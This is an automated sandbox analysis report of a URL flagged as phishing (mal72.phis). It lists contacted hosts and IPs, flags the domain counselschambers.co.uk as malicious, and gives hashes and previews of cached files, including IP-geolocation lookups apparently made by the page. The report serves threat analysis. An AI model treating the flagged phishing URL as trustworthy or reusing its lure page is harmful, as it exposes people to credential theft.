https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1f4.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1f3.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f1-1f1e6.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1e9.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ea-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e6-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1ee.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1ed.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1eb-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f2.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f0.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ec-1f1e9.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f1-1f1f0.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1f0.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1ec.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e6-1f1fc.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1eb-1f1ee.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f0-1f1fc.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1ed.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ec-1f1fc.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e6-1f1e9.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ed-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1e8.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f3.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1e6.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1ff.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1f1.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1fa.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1e9.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ee-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1ef.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1e6.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e8-1f1e6.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1fe.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ed-1f1f9.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f1-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e9-1f1f2.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1fe.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ed-1f1f0.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1ff.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1fe.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1fb.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f9.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f0-1f1f2.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f0.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1fb.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e8-1f1ec.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e8-1f1f2.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f0-1f1ec.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1ee.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1f4.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f8.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e8-1f1fe.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1f5.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ec-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e6-1f1f4.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f9.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1ff.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ee-1f1f3.svg	chromecache_79.3.dr	false	high
https://reactjs.org/docs/error-decoder.html?invariant=	chromecache_86.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1fb.svg	chromecache_79.3.dr	false	high
https://getbootstrap.com/)	chromecache_74.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1e8.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f7-1f1fc.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1f1.svg	chromecache_79.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.64.1	pickoutsourcing.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.69.226	ipapi.co	United States	13335	CLOUDFLARENETUS	false
104.21.70.234	case-id-1000228259003.counselschambers.co.uk	United States	13335	CLOUDFLARENETUS	true
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	unknown	United States	13335	CLOUDFLARENETUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
172.67.168.191	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.9.44	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
157.240.253.1	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.4
192.168.2.11
192.168.2.10

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638231
Start date and time:	2025-03-14 10:07:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://case-id-1000228259003.counselschambers.co.uk/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@22/44@32/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.238, 216.58.212.163, 216.58.206.78, 142.251.173.84, 142.250.185.142, 142.250.184.238, 142.250.181.238, 88.221.110.91, 2.23.77.188, 199.232.214.172, 142.250.186.142, 142.250.186.110, 142.250.181.234, 172.217.16.202, 216.58.206.74, 142.250.74.202, 216.58.212.170, 142.250.186.74, 142.250.186.138, 142.250.186.42, 142.250.184.234, 142.250.185.202, 142.250.184.202, 142.250.186.170, 142.250.185.234, 172.217.16.138, 142.250.186.106, 216.58.206.42, 142.250.186.174, 142.250.186.131, 142.250.186.163, 216.58.212.142, 172.217.16.206, 23.199.214.10, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://case-id-1000228259003.counselschambers.co.uk/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65342)
Category:	downloaded
Size (bytes):	232914
Entropy (8bit):	4.979822227315486
Encrypted:	false
SSDEEP:	1536:VYutjsbf98fOdBfvO5wlP7Qy9A374298wsY/ElV6V6pz600I41r:ntj898fo298uI6V6pz600I41r
MD5:	FE7FDFEC700D100DC745DC64D3600CB2
SHA1:	B231651E0FD68BBD8758189FBD3642C462D34FA6
SHA-256:	7F1D37F0D90B6385354C2AC10E2BB91563C46BD7A266ED351222EBCAC8496C2A
SHA-512:	B7819649564ED5E0BC04CDF7F5777B529870E6CD7B6BCEAD219223F2A4718672AE6FA5A8CA19EBC5E08831E02A04F81D646942706D8FAD98CC73E5ABEFCFB95E
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css
Preview:	@charset "UTF-8";/!. Bootstrap v5.3.0 (https://getbootstrap.com/). * Copyright 2011-2023 The Bootstrap Authors. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	321
Entropy (8bit):	4.99323851364312
Encrypted:	false
SSDEEP:	6:kX32J19HgIJAuuuthkP//f4IoWzqs4jW1CRW35jY:kWJ1JgIOuHhA/XvoPPWV5k
MD5:	7225D8C283F7B303692A163301880199
SHA1:	7BF7F829E108693DB3DAD66B557EAA1DBA464D94
SHA-256:	19B824BE603626AAD3EB7CAAA5F56F709F22AE80965559A81977DEC9CB22A944
SHA-512:	05125D14C265EED21453D2A6E8007F3BF2C2F339567718AF4F4A20C8EB1474EA73A7656B4EDF13B937B25AB3045601F49D19F8E47521C601FD17D3A218BE0D60
Malicious:	false
Reputation:	low
URL:	https://ipinfo.io//json?
Preview:	{. "ip": "8.46.123.189",. "hostname": "static-cpe-8-46-123-189.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1198x600, components 3
Category:	dropped
Size (bytes):	32608
Entropy (8bit):	7.823565953649403
Encrypted:	false
SSDEEP:	768:Cw7yrb/QiAqhamq17om+xW8a35MZaGnyetx:iLQiQNJ+xJaJ/Gnyc
MD5:	26177DE6221BDB80D43E597186D53508
SHA1:	0039AB76964A629D0BFCDA10565EA31B91B9C09A
SHA-256:	8956B37ADC46F5A131257C12CF598BC6AC255C33A489FB02262D81F6D6D141DF
SHA-512:	FE47116DB341E04C222771DC75EDAA56DA9125D06B508C62E1F2794ADABD988A54B202C15700D9BBFB092F9E58A3611932C1595742087038E6A467E2067EA250
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......g..(.bFBMD01000a8c0100003f1500009b2400003c2a0000183100004d3d0000054f00009b570000105d000084630000607f0000....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......X...."...........................................................................................................\.............................................................................................................................<..%V...(c/6-f>..j<...S/..Z....qYC'..<............#W..j.....................................PC(..Y.H....8...#7.%.~b=.......K....Ks6..t.-.r...,.............C.CG.[X.q.fZ/\|.o8k]....t.x...............................bd.Zq......+..XI.)x.............&..C....\|..k-.....km.FXT)Z.....a.t...{.5.. ............................wuv....................3.A.z......3.s5l&.}...3.....Y...7zD...E..L%............................=^.Wo.u.............{E. ........o....

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2462
Entropy (8bit):	4.264309672828736
Encrypted:	false
SSDEEP:	48:C4wZlLr3y+WciBqaoW4Q9CrLHRlJfnRb8ELn9bAN:VYRr3Jd/Jr0
MD5:	D788B9231ED2028DC29245F76CF0A415
SHA1:	84B0E307EC9E553DB1B6CCA0CE7DB506672AAE4E
SHA-256:	1FECA2279A6E78133BF577B99E4F3E82896622C255D29017CEC5F5CFA93E4D16
SHA-512:	0B6FFE2A426CDD2A35ABC4ADEE091354EDA6F540A15C027B198DA4A5C2BA4C80CF5B41A2D825D81E9E00A3DF3CE1BC256488294C5A0CF9D34A047D20C24F32A8
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1f8.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#B22334" d="M35.445 7C34.752 5.809 33.477 5 32 5H18v2h17.445zM0 25h36v2H0zm18-8h18v2H18zm0-4h18v2H18zM0 21h36v2H0zm4 10h28c1.477 0 2.752-.809 3.445-2H.555c.693 1.191 1.968 2 3.445 2zM18 9h18v2H18z"/><path fill="#EEE" d="M.068 27.679c.017.093.036.186.059.277.026.101.058.198.092.296.089.259.197.509.333.743L.555 29h34.89l.002-.004c.135-.233.243-.483.332-.741.034-.099.067-.198.093-.301.023-.09.042-.182.059-.275.041-.22.069-.446.069-.679H0c0 .233.028.458.068.679zM0 23h36v2H0zm0-4v2h36v-2H18zm18-4h18v2H18zm0-4h18v2H18zM0 9c0-.233.03-.457.068-.679C.028 8.542 0 8.767 0 9zm.555-2l-.003.005L.555 7zM.128 8.044c.025-.102.06-.199.092-.297-.034.098-.066.196-.092.297zM18 9h18c0-.233-.028-.459-.069-.68-.017-.092-.035-.184-.059-.274-.027-.103-.059-.203-.094-.302-.089-.258-.197-.507-.332-.74.001-.001 0-.003-.001-.004H18v2z"/><path fill="#3C3B6E" d="M18 5H4C1.791 5 0 6.791 0 9v10h18V5z"/><path fill="#FFF" d="M2.001 7.726l.618.449-.23

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2208), with CRLF line terminators
Category:	downloaded
Size (bytes):	227261
Entropy (8bit):	5.016535362134103
Encrypted:	false
SSDEEP:	1536:aZcgFTzlCTvPbT+QiT9YWBTV9hT7OcTTKbTdwCTGA6TCVOTvE/Te2nTtmBUTvGhM:9kY8W
MD5:	33DE88FD93505A3C17A0088597503FF1
SHA1:	6003D4597724708F72D0231A42A957833EF23AE1
SHA-256:	81AE6D3FCDED62CECEA0D0F94EA27C5C1AD7EAAC23F6FB61C6AF93634B359060
SHA-512:	98A49CF4124FFD074282FECACDE6FBA2E88FE591B579C9FC4D511E0017D616446D7D0BC26925D1615380618274F9AA37B16C8C82F3D11464E3E8BA86481F74AD
Malicious:	false
Reputation:	low
URL:	https://case-id-1000228259003.counselschambers.co.uk/case-support.html
Preview:	<html lang="en">..<head>.. <meta charset="UTF-8">.. <link rel="icon" type="image/svg+xml" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAGCUlEQVR4Xu2Xe4hUVRzHf/fOzO6aPRRJLFT6I6WHYlYQhEoQZA8wqT8KiTJ33Zfuw3VX9+G4u1qCFqIkJhHRiyQxysK18pGhhdUSgUGSursz7mP24b5nxpnd9fT9zd3j3E53du4dDYLmBx/O3Plj7vdz5nfOuZfSlSZNmjRp/h+saroXlIP94LQrp2UItGnZzcfAcscCdRENPAa2g0PgO/A52AIWAe1GBZ8DGoAwAwGVHogssxc++gAEfgViAs6CJdcb/kUQBMKGgNBWtwjKaf5kQoH6aA4Y4ZA2uArZeqClEr4AiARYhmc8Bj8D3SJ8JRASexJR5m2gOQn//ETh0SoJw0tcub5flJ7P5jAWAt+CKlAB9oOwEl5S56TngxMInAEfQ+IcQkeswxtQYetnxLU5vIRqr0SVQH5erBaL+w7wpYUAiCydUEDLbtIh8GOC4G3gcdXXldO8FaFHZXAVd2nXVvKG2iEhIMFwkAtgZpIdap8puKQN3DKBQPMrWIQCIoxZwAcS3hASCyAQVgU8eT7hKfAL2hTk4JJeyMylJAVRF9VGGhQBZrulAIJnQMDPAsAsEAELKUlB4h4IRM3hJRlFHQKhBf4JQTXDts8MiM6ASB8LYJQCYYhNJ7XQx6+CWHhFopZsFhbuMxC4yqFV3GXdgqoH3yOHBYkyDq/w2j8F8vyNlOsTZiDRAalJ5KDcxYHdqkBmvtFK2rrOZ1MQmAS6FIEAcMcF8vzzqKBVUP6lmABkYiPCe8l5sYTfHB5IiR5KpbyhHXITMPE0yUL4OiAYzRBhIhCb7nzGrkzBzTqzCi8ZwRUy1lzak4LA

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	4.99323851364312
Encrypted:	false
SSDEEP:	6:kX32J19HgIJAuuuthkP//f4IoWzqs4jW1CRW35jY:kWJ1JgIOuHhA/XvoPPWV5k
MD5:	7225D8C283F7B303692A163301880199
SHA1:	7BF7F829E108693DB3DAD66B557EAA1DBA464D94
SHA-256:	19B824BE603626AAD3EB7CAAA5F56F709F22AE80965559A81977DEC9CB22A944
SHA-512:	05125D14C265EED21453D2A6E8007F3BF2C2F339567718AF4F4A20C8EB1474EA73A7656B4EDF13B937B25AB3045601F49D19F8E47521C601FD17D3A218BE0D60
Malicious:	false
Reputation:	low
Preview:	{. "ip": "8.46.123.189",. "hostname": "static-cpe-8-46-123-189.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65459)
Category:	downloaded
Size (bytes):	119175
Entropy (8bit):	5.312931607745592
Encrypted:	false
SSDEEP:	3072:rOoUFMlBxwlHb1Vjcpnd8US74ZnhA1IvUbidhmje7rP5yx60sC:ZZhAqvUbghUe7rPkkc
MD5:	365E05DCCD2211EEABA31DEFF514F5FA
SHA1:	A36F8E61ECCC12C333A44713DC4FAE6EC1548FC4
SHA-256:	150523E0558852A799AAE470EE18FDB61F89CF260EE6DA8EFD8687621156AE33
SHA-512:	F63CEC52665F84B468648C1C21AA4367724925E38C92E460851E0BCEAA9A6AAF215BBBCAD63945C7AF4A58368400F86035275E5D1C5AA308A856E79ED1B71534
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react-bootstrap@next/dist/react-bootstrap.min.js
Preview:	/! For license information please see react-bootstrap.min.js.LICENSE.txt /.!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("react"),require("react-dom")):"function"==typeof define&&define.amd?define(["react","react-dom"],t):"object"==typeof exports?exports.ReactBootstrap=t(require("react"),require("react-dom")):e.ReactBootstrap=t(e.React,e.ReactDOM)}(self,((e,t)=>(()=>{var n={814:(e,t)=>{var n;!function(){"use strict";var r={}.hasOwnProperty;function o(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var a=typeof n;if("string"===a\|\|"number"===a)e.push(n);else if(Array.isArray(n)){if(n.length){var s=o.apply(null,n);s&&e.push(s)}}else if("object"===a){if(n.toString!==Object.prototype.toString&&!n.toString.toString().includes("[native code]")){e.push(n.toString());continue}for(var i in n)r.call(n,i)&&n[i]&&e.push(i)}}}return e.join(" ")}e.exports?(o.default=o,e.exports=o):void 0===(n=function(){return o}.apply(t,[]))\|\|(e.expor

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	12
Entropy (8bit):	2.8553885422075336
Encrypted:	false
SSDEEP:	3:fuMEc:23c
MD5:	99C7886BEA2DE7A0101C2650904125B2
SHA1:	923B92CB8983479444E728E099B85F84A8DC1358
SHA-256:	FFF62C3400A9C4F4618583FD90966E4E5B1122239157CAA576BFD6A1FA71204D
SHA-512:	7FB99EB3F5DF99B330325BB84C3676ABFD4BA02A2F37C596FDBD717FEEEA84887522E4957D57FD2C77A6A73C56656D1B8A8D17BB28CE158CD474ECE6E71B5565
Malicious:	false
Reputation:	low
URL:	https://ipapi.co/ip
Preview:	8.46.123.189

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19157), with no line terminators
Category:	downloaded
Size (bytes):	19157
Entropy (8bit):	4.937770512209066
Encrypted:	false
SSDEEP:	192:6wR+nXh/TVc6jU+4v7fix43obCfCfIlSc:6wRWXhK6jU+4vTixaACaglSc
MD5:	6B7FB2EE130535419A67AFB198F41C2B
SHA1:	FFB8A25633C4DDEAB81D1B1742AC2FD0B442A4C6
SHA-256:	C6956E8710CF477F7014440385AE16EE4B8CC7ECFD02FDDD4D2F0C6C7FD15845
SHA-512:	CB27BFBB47A142CAD5ADF49DE9B893D7BB77F5183D90D73EBC435C09766E333D9AF8B5851AF5D49D8B96516EA96DF623D637016FF0B7F54670D9C890BF00C3BE
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/intl-tel-input@17.0.19/build/css/intlTelInput.min.css
